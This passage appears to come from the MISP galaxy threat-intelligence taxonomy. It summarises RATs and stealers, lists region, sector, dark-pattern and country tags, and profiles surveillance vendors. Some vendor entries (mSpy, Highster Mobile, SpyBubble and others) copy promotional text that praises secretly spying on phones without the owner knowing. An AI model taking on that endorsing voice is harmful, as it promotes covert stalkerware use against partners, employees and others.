Proofpoint also point out that FlawedGrace is a full-featured RAT written in C++ and that it is a very large program that "extensive use of object-oriented and multithreaded programming techniques. "As a consequence, getting familiar with its internal structure takes a lot of time and is far from a simple task.
The tag is: misp-galaxy:rat="FlawedGrace"
Links |
H-worm
H-worm is a VBS (Visual Basic Script) based RAT written by an individual going by the name Houdini. We believe the author is based in Algeria and has connections to njq8, the author of njw0rm [1] and njRAT/LV [2] through means of a shared or common code base. We have seen the H-worm RAT being employed in targeted attacks against the international energy industry; however, we also see it being employed in a wider context as run of the mill attacks through spammed email attachments and malicious links.
The tag is: misp-galaxy:rat="H-worm"
Links |
https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html |
Parasite-HTTP-RAT
The RAT, dubbed Parasite HTTP, is especially notable for the extensive array of techniques it incorporates for sandbox detection, anti-debugging, anti-emulation, and other protections. The malware is also modular in nature, allowing actors to add new capabilities as they become available or download additional modules post infection.
The tag is: misp-galaxy:rat="Parasite-HTTP-RAT"
Links |
https://www.proofpoint.com/us/threat-insight/post/parasite-http-rat-cooks-stew-stealthy-tricks |
Caesar RAT
Caesar is an HTTP-based RAT that allows you to remotely control devices directly from your browser.
The tag is: misp-galaxy:rat="Caesar RAT"
Links |
FlawedAmmy
During the month of October, Check Point researchers discovered a widespread malware campaign spreading a remote access trojan (dubbed “FlawedAmmy”) that allows attackers to take over victims’ computers and data. The campaign was the latest and most widespread delivering the ‘FlawedAmmyy’ RAT, following a number of campaigns that have spread this malware in recent months. The Trojan allows attackers to gain full access to the machine’s camera and microphone, collect screen grabs, steal credentials and sensitive files, and intrusively monitor the victims’ actions. As a result, FlawedAmmy is the first RAT to enter the Global Threat Index’s top 10 ranking.
The tag is: misp-galaxy:rat="FlawedAmmy"
Links |
https://www.helpnetsecurity.com/2018/11/14/flawedammy-most-wanted-malware-list/ |
Felipe
The Zscaler ThreatLabZ team came across a new strain of infostealer Trojan called Felipe, which silently installs itself onto a user’s system and connects to a command-and-control (C&C) server to send system information from the compromised system. This malware is compiled for both 32-bit and 64-bit Windows operating systems. Felipe basically steals the victim’s debit and credit card information and sends it, along with other personal information, to the remote C&C server. It also sets a date and time to perform other malicious activity upon successful infection of the victim machine.
The tag is: misp-galaxy:rat="Felipe"
Links |
https://www.zscaler.com/blogs/research/felipe-new-infostealer-trojan |
Amavaldo Banking Trojan
Amavaldo is banking trojan writen in Delphi and known to targeting Spanish or Portuguese speaking countries. It contains backdoor functionality and can work as multi stage. Amavaldo also abuses legitimate tools and softwares
The tag is: misp-galaxy:rat="Amavaldo Banking Trojan"
Links |
https://www.welivesecurity.com/2019/08/01/banking-trojans-amavaldo/ |
AsyncRAT
Open-Source Remote Administration Tool For Windows C# (RAT)
The tag is: misp-galaxy:rat="AsyncRAT"
Links |
https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat |
InnfiRAT
new RAT called InnfiRAT, which is written in .NET and designed to perform specific tasks from an infected machine
The tag is: misp-galaxy:rat="InnfiRAT"
Links |
https://www.zscaler.com/blogs/research/innfirat-new-rat-aiming-your-cryptocurrency-and-more |
Warzone
Apparently existing since 2018
The tag is: misp-galaxy:rat="Warzone"
Links |
Regions UN M49
Regions based on UN M49..
Regions UN M49 is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Unknown
001 - World
The tag is: misp-galaxy:region="001 - World"
002 - Africa
The tag is: misp-galaxy:region="002 - Africa"
019 - Americas
The tag is: misp-galaxy:region="019 - Americas"
142 - Asia
The tag is: misp-galaxy:region="142 - Asia"
150 - Europe
The tag is: misp-galaxy:region="150 - Europe"
009 - Oceania
The tag is: misp-galaxy:region="009 - Oceania"
015 - Northern Africa
The tag is: misp-galaxy:region="015 - Northern Africa"
202 - Sub-Saharan Africa
The tag is: misp-galaxy:region="202 - Sub-Saharan Africa"
419 - Latin America and the Caribbean
The tag is: misp-galaxy:region="419 - Latin America and the Caribbean"
021 - Northern America
The tag is: misp-galaxy:region="021 - Northern America"
143 - Central Asia
The tag is: misp-galaxy:region="143 - Central Asia"
030 - Eastern Asia
The tag is: misp-galaxy:region="030 - Eastern Asia"
035 - South-eastern Asia
The tag is: misp-galaxy:region="035 - South-eastern Asia"
034 - Southern Asia
The tag is: misp-galaxy:region="034 - Southern Asia"
145 - Western Asia
The tag is: misp-galaxy:region="145 - Western Asia"
151 - Eastern Europe
The tag is: misp-galaxy:region="151 - Eastern Europe"
154 - Northern Europe
The tag is: misp-galaxy:region="154 - Northern Europe"
039 - Southern Europe
The tag is: misp-galaxy:region="039 - Southern Europe"
155 - Western Europe
The tag is: misp-galaxy:region="155 - Western Europe"
053 - Australia and New Zealand
The tag is: misp-galaxy:region="053 - Australia and New Zealand"
054 - Melanesia
The tag is: misp-galaxy:region="054 - Melanesia"
057 - Micronesia
The tag is: misp-galaxy:region="057 - Micronesia"
061 - Polynesia
The tag is: misp-galaxy:region="061 - Polynesia"
014 - Eastern Africa
The tag is: misp-galaxy:region="014 - Eastern Africa"
017 - Middle Africa
The tag is: misp-galaxy:region="017 - Middle Africa"
018 - Southern Africa
The tag is: misp-galaxy:region="018 - Southern Africa"
011 - Western Africa
The tag is: misp-galaxy:region="011 - Western Africa"
029 - Caribbean
The tag is: misp-galaxy:region="029 - Caribbean"
013 - Central America
The tag is: misp-galaxy:region="013 - Central America"
005 - South America
The tag is: misp-galaxy:region="005 - South America"
830 - Channel Islands
The tag is: misp-galaxy:region="830 - Channel Islands"
Sector
Activity sectors.
Sector is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Various
Unknown
The tag is: misp-galaxy:sector="Unknown"
Other
The tag is: misp-galaxy:sector="Other"
Academia - University
The tag is: misp-galaxy:sector="Academia - University"
Activists
The tag is: misp-galaxy:sector="Activists"
Aerospace
The tag is: misp-galaxy:sector="Aerospace"
Agriculture
The tag is: misp-galaxy:sector="Agriculture"
Arts
The tag is: misp-galaxy:sector="Arts"
Bank
The tag is: misp-galaxy:sector="Bank"
Chemical
The tag is: misp-galaxy:sector="Chemical"
Citizens
The tag is: misp-galaxy:sector="Citizens"
Civil Aviation
The tag is: misp-galaxy:sector="Civil Aviation"
Country
The tag is: misp-galaxy:sector="Country"
Culture
The tag is: misp-galaxy:sector="Culture"
Data Broker
The tag is: misp-galaxy:sector="Data Broker"
Defense
The tag is: misp-galaxy:sector="Defense"
Development
The tag is: misp-galaxy:sector="Development"
Diplomacy
The tag is: misp-galaxy:sector="Diplomacy"
Education
The tag is: misp-galaxy:sector="Education"
Electric
The tag is: misp-galaxy:sector="Electric"
Electronic
The tag is: misp-galaxy:sector="Electronic"
Employment
The tag is: misp-galaxy:sector="Employment"
Energy
The tag is: misp-galaxy:sector="Energy"
Entertainment
The tag is: misp-galaxy:sector="Entertainment"
Environment
The tag is: misp-galaxy:sector="Environment"
Finance
The tag is: misp-galaxy:sector="Finance"
Food
The tag is: misp-galaxy:sector="Food"
Game
The tag is: misp-galaxy:sector="Game"
Gas
The tag is: misp-galaxy:sector="Gas"
Government, Administration
The tag is: misp-galaxy:sector="Government, Administration"
Health
The tag is: misp-galaxy:sector="Health"
Higher education
The tag is: misp-galaxy:sector="Higher education"
Hotels
The tag is: misp-galaxy:sector="Hotels"
Infrastructure
The tag is: misp-galaxy:sector="Infrastructure"
Intelligence
The tag is: misp-galaxy:sector="Intelligence"
IT
The tag is: misp-galaxy:sector="IT"
IT - Hacker
The tag is: misp-galaxy:sector="IT - Hacker"
IT - ISP
The tag is: misp-galaxy:sector="IT - ISP"
IT - Security
The tag is: misp-galaxy:sector="IT - Security"
Justice
The tag is: misp-galaxy:sector="Justice"
Manufacturing
The tag is: misp-galaxy:sector="Manufacturing"
Maritime
The tag is: misp-galaxy:sector="Maritime"
Military
The tag is: misp-galaxy:sector="Military"
Multi-sector
The tag is: misp-galaxy:sector="Multi-sector"
News - Media
The tag is: misp-galaxy:sector="News - Media"
NGO
The tag is: misp-galaxy:sector="NGO"
Oil
The tag is: misp-galaxy:sector="Oil"
Payment
The tag is: misp-galaxy:sector="Payment"
Pharmacy
The tag is: misp-galaxy:sector="Pharmacy"
Police - Law enforcement
The tag is: misp-galaxy:sector="Police - Law enforcement"
Research - Innovation
The tag is: misp-galaxy:sector="Research - Innovation"
Satellite navigation
The tag is: misp-galaxy:sector="Satellite navigation"
Security systems
The tag is: misp-galaxy:sector="Security systems"
Social networks
The tag is: misp-galaxy:sector="Social networks"
Space
The tag is: misp-galaxy:sector="Space"
Steel
The tag is: misp-galaxy:sector="Steel"
Telecoms
The tag is: misp-galaxy:sector="Telecoms"
Think Tanks
The tag is: misp-galaxy:sector="Think Tanks"
Trade
The tag is: misp-galaxy:sector="Trade"
Transport
The tag is: misp-galaxy:sector="Transport"
Travel
The tag is: misp-galaxy:sector="Travel"
Turbine
The tag is: misp-galaxy:sector="Turbine"
Tourism
The tag is: misp-galaxy:sector="Tourism"
Life science
The tag is: misp-galaxy:sector="Life science"
Biomedical
The tag is: misp-galaxy:sector="Biomedical"
High tech
The tag is: misp-galaxy:sector="High tech"
Opposition
The tag is: misp-galaxy:sector="Opposition"
Political party
The tag is: misp-galaxy:sector="Political party"
Hospitality
The tag is: misp-galaxy:sector="Hospitality"
Automotive
The tag is: misp-galaxy:sector="Automotive"
Metal
The tag is: misp-galaxy:sector="Metal"
Railway
The tag is: misp-galaxy:sector="Railway"
Water
The tag is: misp-galaxy:sector="Water"
Smart meter
The tag is: misp-galaxy:sector="Smart meter"
Retail
The tag is: misp-galaxy:sector="Retail"
Technology
The tag is: misp-galaxy:sector="Technology"
engineering
The tag is: misp-galaxy:sector="engineering"
Mining
The tag is: misp-galaxy:sector="Mining"
Sport
The tag is: misp-galaxy:sector="Sport"
Restaurant
The tag is: misp-galaxy:sector="Restaurant"
Semi-conductors
The tag is: misp-galaxy:sector="Semi-conductors"
Insurance
The tag is: misp-galaxy:sector="Insurance"
Legal
The tag is: misp-galaxy:sector="Legal"
Shipping
The tag is: misp-galaxy:sector="Shipping"
Logistic
The tag is: misp-galaxy:sector="Logistic"
Construction
The tag is: misp-galaxy:sector="Construction"
Industrial
The tag is: misp-galaxy:sector="Industrial"
Communication equipment
The tag is: misp-galaxy:sector="Communication equipment"
Security Service
The tag is: misp-galaxy:sector="Security Service"
Tax firm
The tag is: misp-galaxy:sector="Tax firm"
Television broadcast
The tag is: misp-galaxy:sector="Television broadcast"
Separatists
The tag is: misp-galaxy:sector="Separatists"
Dissidents
The tag is: misp-galaxy:sector="Dissidents"
Digital services
The tag is: misp-galaxy:sector="Digital services"
Digital infrastructure
The tag is: misp-galaxy:sector="Digital infrastructure"
Security actors
The tag is: misp-galaxy:sector="Security actors"
eCommerce
The tag is: misp-galaxy:sector="eCommerce"
Islamic forums
The tag is: misp-galaxy:sector="Islamic forums"
Journalist
The tag is: misp-galaxy:sector="Journalist"
Streaming service
The tag is: misp-galaxy:sector="Streaming service"
Publishing industry
The tag is: misp-galaxy:sector="Publishing industry"
Islamic organisation
The tag is: misp-galaxy:sector="Islamic organisation"
Casino
The tag is: misp-galaxy:sector="Casino"
Consulting
The tag is: misp-galaxy:sector="Consulting"
Online marketplace
The tag is: misp-galaxy:sector="Online marketplace"
DNS service provider
The tag is: misp-galaxy:sector="DNS service provider"
Veterinary
The tag is: misp-galaxy:sector="Veterinary"
Marketing
The tag is: misp-galaxy:sector="Marketing"
Video Sharing
The tag is: misp-galaxy:sector="Video Sharing"
Advertising
The tag is: misp-galaxy:sector="Advertising"
Investment
The tag is: misp-galaxy:sector="Investment"
Accounting
The tag is: misp-galaxy:sector="Accounting"
Programming
The tag is: misp-galaxy:sector="Programming"
Managed Services Provider
The tag is: misp-galaxy:sector="Managed Services Provider"
Lawyers
The tag is: misp-galaxy:sector="Lawyers"
Civil society
The tag is: misp-galaxy:sector="Civil society"
Petrochemical
The tag is: misp-galaxy:sector="Petrochemical"
Immigration
The tag is: misp-galaxy:sector="Immigration"
Dark Patterns
Dark Patterns are user interface that tricks users into making decisions that benefit the interface’s holder to the expense of the user..
Dark Patterns is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Jean-Louis Huynen
Nagging
Repeated requests to do something the firms prefer
The tag is: misp-galaxy:social-dark-patterns="Nagging"
Links |
Activity Messages
Misleading notice about other consumers' actions
The tag is: misp-galaxy:social-dark-patterns="Activity Messages"
Links |
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf |
Testimonials
Misleading statements from customers
The tag is: misp-galaxy:social-dark-patterns="Testimonials"
Links |
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf |
Roach Motel
Asymmetry between signing up and canceling
The tag is: misp-galaxy:social-dark-patterns="Roach Motel"
Links |
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf |
Price Comparison Prevention
Frustrates comparison shopping
The tag is: misp-galaxy:social-dark-patterns="Price Comparison Prevention"
Links |
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf |
Intermediate Currency
Purchases in virtual currency to obscure cost
The tag is: misp-galaxy:social-dark-patterns="Intermediate Currency"
Links |
Sneak into Basket
Item consumer did not add is in cart
The tag is: misp-galaxy:social-dark-patterns="Sneak into Basket"
Links |
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf |
Hidden Costs
Costs obscured / disclosed late in transaction
The tag is: misp-galaxy:social-dark-patterns="Hidden Costs"
Links |
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf |
Hidden subscription / forced continuity
Unanticipated / undesired automatic renewal
The tag is: misp-galaxy:social-dark-patterns="Hidden subscription / forced continuity"
Links |
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf |
Bait & Switch
Customer sold something other than what’s originally advertised
The tag is: misp-galaxy:social-dark-patterns="Bait & Switch"
Links |
Hidden information / aesthetic manipulation / false hierarchy
Important information visually obscured
The tag is: misp-galaxy:social-dark-patterns="Hidden information / aesthetic manipulation / false hierarchy"
Links |
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf |
Preselection
Firm-friendly default is preselected
The tag is: misp-galaxy:social-dark-patterns="Preselection"
Links |
https://petsymposium.org/2016/files/papers/Tales_from_the_Dark_SidePrivacy_Dark_Strategies_and_Privacy_Dark_Patterns.pdf[https://petsymposium.org/2016/files/papers/Tales_from_the_Dark_SidePrivacy_Dark_Strategies_and_Privacy_Dark_Patterns.pdf] |
Toying with emotion
Emotionally manipulative framing
The tag is: misp-galaxy:social-dark-patterns="Toying with emotion"
Links |
Trick questions
Intentional or obvious ambiguity
The tag is: misp-galaxy:social-dark-patterns="Trick questions"
Links |
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf |
Disguised Ad
Consumer induced to click on something that isn’t apparent ad
The tag is: misp-galaxy:social-dark-patterns="Disguised Ad"
Links |
Confirmshaming
Choice framed in way that seems dishonest / stupid
The tag is: misp-galaxy:social-dark-patterns="Confirmshaming"
Links |
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf |
Forced Registration
Consumer tricked into thinking registration necessary
The tag is: misp-galaxy:social-dark-patterns="Forced Registration"
Links |
https://petsymposium.org/2016/files/papers/Tales_from_the_Dark_SidePrivacy_Dark_Strategies_and_Privacy_Dark_Patterns.pdf[https://petsymposium.org/2016/files/papers/Tales_from_the_Dark_SidePrivacy_Dark_Strategies_and_Privacy_Dark_Patterns.pdf] |
Low stock / high-demand message
Consumer falsely informed of limited quantities
The tag is: misp-galaxy:social-dark-patterns="Low stock / high-demand message"
Links |
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf |
Countdown timer / Limited time message
Opportunity ends soon with blatant false visual cue
The tag is: misp-galaxy:social-dark-patterns="Countdown timer / Limited time message"
Links |
https://webtransparency.cs.princeton.edu/dark-patterns/assets/dark-patterns-v2.pdf |
Stealer
A list of malware stealer..
Stealer is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
raw-data
Nocturnal Stealer
It is designed to steal data found within multiple Chromium and Firefox based browsers, it can also steal many popular cryptocurrency wallets as well as any saved FTP passwords within FileZilla. Nocturnal Stealer uses several anti-VM and anti-analysis techniques, which include but are not limited to: environment fingerprinting, checking for debuggers and analyzers, searching for known virtual machine registry keys, and checking for emulation software.
The tag is: misp-galaxy:stealer="Nocturnal Stealer"
Nocturnal Stealer has relationships with:
-
similar: misp-galaxy:malpedia="Nocturnal Stealer" with estimative-language:likelihood-probability="likely"
Links |
https://www.proofpoint.com/us/threat-insight/post/thief-night-new-nocturnal-stealer-grabs-data-cheap |
TeleGrab
The first version stole browser credentials and cookies, along with all text files it can find on the system. The second variant added the ability to collect Telegram’s desktop cache and key files, as well as login information for the video game storefront Steam.
The tag is: misp-galaxy:stealer="TeleGrab"
Links |
AZORult
It is able to steal accounts from different software, such as, Firefox password Internet Explorer/Edge Thunderbird Chrome/Chromium and many more. It is also able to (1) list all installed software, (2) list processes, (3) Get information about the machine name (CPU type, Graphic card, size of memory), (4) take screen captures, (5) Steal cryptomoney wallet from Electrum, MultiBit, monero-project, bitcoin-qt.
The tag is: misp-galaxy:stealer="AZORult"
Links |
https://blog.minerva-labs.com/analyzing-an-azorult-attack-evasion-in-a-cloak-of-multiple-layers |
Vidar
Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.
The tag is: misp-galaxy:stealer="Vidar"
Links |
Ave Maria
Information stealer which uses AutoIT for wrapping.
The tag is: misp-galaxy:stealer="Ave Maria"
Links |
Surveillance Vendor
List of vendors selling surveillance technologies including malware, interception devices or computer exploitation services..
Surveillance Vendor is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Various
Kape Technologies
Kape Technologies is better known by the name under which they were formerly incorporated - "Crossrider" but make no mistake they are the same company which became notorious as an adware/malware producer. Kape Technologies was originally known as Crossrider until the name change in 2018. The reason for that was, as CEO Ido Erlichman put it, “strong association to the past activities of the company.” Perhaps that refers to infecting users’ devices with malware and adware, considered “high-risk” by Symantec and Malwarebytes. If that wasn’t enough, Crossrider’s Founder and first CEO Koby Menachemi, was part of Unit 8200 – something that can be called Israel’s NSA. Another key person, Teddy Sagi, who is the main investor in both Crossrider and Kape Technologies, is mentioned in the Panama Papers.
The tag is: misp-galaxy:surveillance-vendor="Kape Technologies"
Kape Technologies is also known as:
-
Kape
-
Crossrider
Links |
NSO group
NSO Group Technologies is an Israeli technology firm known for its Pegasus spyware enabling the remote surveillance of smartphones. It was founded in 2010 by Niv Carmi, Omri Lavie, and Shalev Hulio. It reportedly employed almost 500 people as of 2017, and is based in Herzliya, near Tel Aviv.
The tag is: misp-galaxy:surveillance-vendor="NSO group"
Links |
Hacking Team
HackingTeam is a Milan-based information technology company that sells offensive intrusion and surveillance capabilities to governments, law enforcement agencies and corporations. Its "Remote Control Systems" enable governments and corporations to monitor the communications of internet users, decipher their encrypted files and emails, record Skype and other Voice over IP communications, and remotely activate microphones and camera on target computers. The company has been criticized for providing these capabilities to governments with poor human rights records, though HackingTeam states that they have the ability to disable their software if it is used unethically. The Italian government has restricted their license to do business with countries outside Europe. HackingTeam employs around 40 people in its Italian office, and has subsidiary branches in Annapolis, Washington, D.C., and Singapore. Its products are in use in dozens of countries across six continents.
The tag is: misp-galaxy:surveillance-vendor="Hacking Team"
Hacking Team is also known as:
-
Memento Labs
Links |
Gamma Group
Gamma Group is an Anglo-German technology company that sells surveillance software to governments and police forces around the world. The company has been strongly criticised by human rights organisations for selling its FinFisher software to undemocratic regimes such as Egypt and Bahrain.
The tag is: misp-galaxy:surveillance-vendor="Gamma Group"
Gamma Group is also known as:
-
Gamma International
Links |
FlexiSPY
Flexispy is an application that can be considered as a trojan, based on Symbian. The program sends all information received and sent from the smartphone to a Flexispy server. It was originally created to protect children and spy on adulterous spouses.
The tag is: misp-galaxy:surveillance-vendor="FlexiSPY"
mSpy
mSpy is probably the most popular monitoring software on the market today. It is designed for parents who want to track their children’s online activity. Using mSpy is easy — just download and install a hidden app on your child’s phone and let it do its thing in the background. mSpy is available for iOS and Android, and has a web-based control panel that allows you to remotely monitor activity on your child’s device, including texts, instant messages, phone calls and social media use on Snapchat or Facebook. It also allows you to track the location of your child’s device on a map. The best thing about mSpy is that it works on non-jailbroken iPhones. Do note that some of its features, including email tracking and instant messenger monitoring, are only available on a rooted Android smartphone. If you don’t know how to root an Android device, you might want to consider using a spy app like Highster Mobile. This app lets you spy on Android phone without rooting.
The tag is: misp-galaxy:surveillance-vendor="mSpy"
Links |
Highster Mobile
Highster Mobile is a cell phone spy and monitoring software that allows you to secretly monitor your children, employees, or loved ones without them ever knowing it. The app is available for both Android and iOS devices and is developed by ILF Mobile Apps, a company based in Bohemia, New York, that specializes in mobile security.
The tag is: misp-galaxy:surveillance-vendor="Highster Mobile"
Links |
Mobile Spy
Mobile Spy is a cell phone monitoring application for iOS, Android and BlackBerry developed by Retina-X Studios. It allows you to monitor the smartphone activity of your children. You’ll be able to see text messages, track GPS locations, monitor social media activities, view call details and more inside a secure online account. Monitoring made easy. Login anytime you wish from any location to see the recorded data without needing access to the monitored phone. The hidden version of Mobile Spy is no longer available due to legal issues.
The tag is: misp-galaxy:surveillance-vendor="Mobile Spy"
Links |
Hoverwatch
Hoverwatch is a computer and mobile monitoring software developed by Refog. It is available for Android, Windows and macOS. It runs silently in the background, recording all activities performed by the user such as messages sent and received, phone calls made and received, web sites visited, and every keystroke typed. All recorded data is sent to an online account.
The tag is: misp-galaxy:surveillance-vendor="Hoverwatch"
Links |
MobiStealth
MobiStealth is a popular spy software that comes with a simple web-based console and powerful monitoring features. It is developed by Infoweise Pty Ltd, a private company headquartered in Sydney, Australia. They have been making high quality monitoring solutions since 2009. In November 2015, they launched a “Non-Jailbreak” feature, letting users spy on all iOS devices without needing to jailbreak them. Just like many other spy software, MobiStealth allows you to spy on a cell phone or computer via a web interface called StealthClub. As its name implies, it is a stealth application that runs in the background without the owner’s knowledge.
The tag is: misp-galaxy:surveillance-vendor="MobiStealth"
Links |
Spyera
Spyera develops and sells computer and mobile spy software. Based in Hong Kong, Spyera’s products work in all languages and all countries. The company’s phone and PC monitoring products are useful tools for any parent or company, although they are quite expensive in comparison to other products. Spyera comes in three different versions — a mobile version for iPhone and Android smartphones, a tablet version for iPad and Android tablets, and a desktop version for Mac and Windows. The mobile version of Spyera is actually very similar to the FlexiSPY Extreme, which I reviewed a few weeks ago. It has everything you’d expect from a cell phone spy software: live call listening, call recording, and location tracking.
The tag is: misp-galaxy:surveillance-vendor="Spyera"
Links |
StealthGenie
StealthGenie is a powerful cell phone spy software created by InvoCode Ltd in 2010 that can be used to spy on cheating spouses and monitor children’s activities. In September 2014, Hammad Akbar, founder of StealthGenie, was arrested in Los Angeles and charged with selling mobile device spyware. StealthGenie was officially discontinued on 26 September 2014.
The tag is: misp-galaxy:surveillance-vendor="StealthGenie"
Links |
SpyBubble
SpyBubble is a spy app that lets you secretly spy on someone’s phone. This spy app is compatible with a variety of mobile devices, including iPhone, Android, BlackBerry and Symbian, and it offers logging features for most cell phone activity. SpyBubble doesn’t provide the blocking and restricting features that you will find in several similar applications. However, it has many useful features, and its monitoring features are excellent. Spybubble cell phone spy software was discontinued due to legal reasons
The tag is: misp-galaxy:surveillance-vendor="SpyBubble"
Links |
Target Information
Description of targets of threat actors..
Target Information is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Unknown
Luxembourg
The tag is: misp-galaxy:target-information="Luxembourg"
Afghanistan
The tag is: misp-galaxy:target-information="Afghanistan"
Albania
The tag is: misp-galaxy:target-information="Albania"
Algeria
The tag is: misp-galaxy:target-information="Algeria"
American Samoa
The tag is: misp-galaxy:target-information="American Samoa"
Andorra
The tag is: misp-galaxy:target-information="Andorra"
Angola
The tag is: misp-galaxy:target-information="Angola"
Anguilla
The tag is: misp-galaxy:target-information="Anguilla"
Antarctica
The tag is: misp-galaxy:target-information="Antarctica"
Antigua and Barbuda
The tag is: misp-galaxy:target-information="Antigua and Barbuda"
Argentina
The tag is: misp-galaxy:target-information="Argentina"
Armenia
The tag is: misp-galaxy:target-information="Armenia"
Aruba
The tag is: misp-galaxy:target-information="Aruba"
Australia
The tag is: misp-galaxy:target-information="Australia"
Austria
The tag is: misp-galaxy:target-information="Austria"
Azerbaijan
The tag is: misp-galaxy:target-information="Azerbaijan"
Bahamas
The tag is: misp-galaxy:target-information="Bahamas"
Bahrain
The tag is: misp-galaxy:target-information="Bahrain"
Bangladesh
The tag is: misp-galaxy:target-information="Bangladesh"
Barbados
The tag is: misp-galaxy:target-information="Barbados"
Belarus
The tag is: misp-galaxy:target-information="Belarus"
Belgium
The tag is: misp-galaxy:target-information="Belgium"
Belize
The tag is: misp-galaxy:target-information="Belize"
Benin
The tag is: misp-galaxy:target-information="Benin"
Bermuda
The tag is: misp-galaxy:target-information="Bermuda"
Bhutan
The tag is: misp-galaxy:target-information="Bhutan"
Bolivia
The tag is: misp-galaxy:target-information="Bolivia"
Bosnia and Herzegovina
The tag is: misp-galaxy:target-information="Bosnia and Herzegovina"
Botswana
The tag is: misp-galaxy:target-information="Botswana"
Brazil
The tag is: misp-galaxy:target-information="Brazil"
British Indian Ocean Territory
The tag is: misp-galaxy:target-information="British Indian Ocean Territory"
British Virgin Islands
The tag is: misp-galaxy:target-information="British Virgin Islands"
Brunei
The tag is: misp-galaxy:target-information="Brunei"
Bulgaria
The tag is: misp-galaxy:target-information="Bulgaria"
Burkina Faso
The tag is: misp-galaxy:target-information="Burkina Faso"
Burundi
The tag is: misp-galaxy:target-information="Burundi"
Cambodia
The tag is: misp-galaxy:target-information="Cambodia"
Cameroon
The tag is: misp-galaxy:target-information="Cameroon"
Canada
The tag is: misp-galaxy:target-information="Canada"
Cape Verde
The tag is: misp-galaxy:target-information="Cape Verde"
Cayman Islands
The tag is: misp-galaxy:target-information="Cayman Islands"
Central African Republic
The tag is: misp-galaxy:target-information="Central African Republic"
Chad
The tag is: misp-galaxy:target-information="Chad"
Chile
The tag is: misp-galaxy:target-information="Chile"
China
The tag is: misp-galaxy:target-information="China"
Christmas Island
The tag is: misp-galaxy:target-information="Christmas Island"
Cocos Islands
The tag is: misp-galaxy:target-information="Cocos Islands"
Colombia
The tag is: misp-galaxy:target-information="Colombia"
Comoros
The tag is: misp-galaxy:target-information="Comoros"
Cook Islands
The tag is: misp-galaxy:target-information="Cook Islands"
Costa Rica
The tag is: misp-galaxy:target-information="Costa Rica"
Croatia
The tag is: misp-galaxy:target-information="Croatia"
Cuba
The tag is: misp-galaxy:target-information="Cuba"
Curaçao
The tag is: misp-galaxy:target-information="Curaçao"
Cyprus
The tag is: misp-galaxy:target-information="Cyprus"
Czech Republic
The tag is: misp-galaxy:target-information="Czech Republic"
Democratic Republic of the Congo
The tag is: misp-galaxy:target-information="Democratic Republic of the Congo"
Denmark
The tag is: misp-galaxy:target-information="Denmark"
Djibouti
The tag is: misp-galaxy:target-information="Djibouti"
Dominica
The tag is: misp-galaxy:target-information="Dominica"
Dominican Republic
The tag is: misp-galaxy:target-information="Dominican Republic"
East Timor
The tag is: misp-galaxy:target-information="East Timor"
Ecuador
The tag is: misp-galaxy:target-information="Ecuador"
Egypt
The tag is: misp-galaxy:target-information="Egypt"
El Salvador
The tag is: misp-galaxy:target-information="El Salvador"
Equatorial Guinea
The tag is: misp-galaxy:target-information="Equatorial Guinea"
Eritrea
The tag is: misp-galaxy:target-information="Eritrea"
Estonia
The tag is: misp-galaxy:target-information="Estonia"
Ethiopia
The tag is: misp-galaxy:target-information="Ethiopia"
Falkland Islands
The tag is: misp-galaxy:target-information="Falkland Islands"
Faroe Islands
The tag is: misp-galaxy:target-information="Faroe Islands"
Fiji
The tag is: misp-galaxy:target-information="Fiji"
Finland
The tag is: misp-galaxy:target-information="Finland"
France
The tag is: misp-galaxy:target-information="France"
French Polynesia
The tag is: misp-galaxy:target-information="French Polynesia"
Gabon
The tag is: misp-galaxy:target-information="Gabon"
Gambia
The tag is: misp-galaxy:target-information="Gambia"
Georgia
The tag is: misp-galaxy:target-information="Georgia"
Germany
The tag is: misp-galaxy:target-information="Germany"
Ghana
The tag is: misp-galaxy:target-information="Ghana"
Gibraltar
The tag is: misp-galaxy:target-information="Gibraltar"
Greece
The tag is: misp-galaxy:target-information="Greece"
Greenland
The tag is: misp-galaxy:target-information="Greenland"
Grenada
The tag is: misp-galaxy:target-information="Grenada"
Guam
The tag is: misp-galaxy:target-information="Guam"
Guatemala
The tag is: misp-galaxy:target-information="Guatemala"
Guernsey
The tag is: misp-galaxy:target-information="Guernsey"
Guinea
The tag is: misp-galaxy:target-information="Guinea"
Guinea-Bissau
The tag is: misp-galaxy:target-information="Guinea-Bissau"
Guyana
The tag is: misp-galaxy:target-information="Guyana"
Haiti
The tag is: misp-galaxy:target-information="Haiti"
Honduras
The tag is: misp-galaxy:target-information="Honduras"
Hong Kong
The tag is: misp-galaxy:target-information="Hong Kong"
Hungary
The tag is: misp-galaxy:target-information="Hungary"
Iceland
The tag is: misp-galaxy:target-information="Iceland"
India
The tag is: misp-galaxy:target-information="India"
Indonesia
The tag is: misp-galaxy:target-information="Indonesia"
Iran
The tag is: misp-galaxy:target-information="Iran"
Iraq
The tag is: misp-galaxy:target-information="Iraq"
Ireland
The tag is: misp-galaxy:target-information="Ireland"
Isle of Man
The tag is: misp-galaxy:target-information="Isle of Man"
Israel
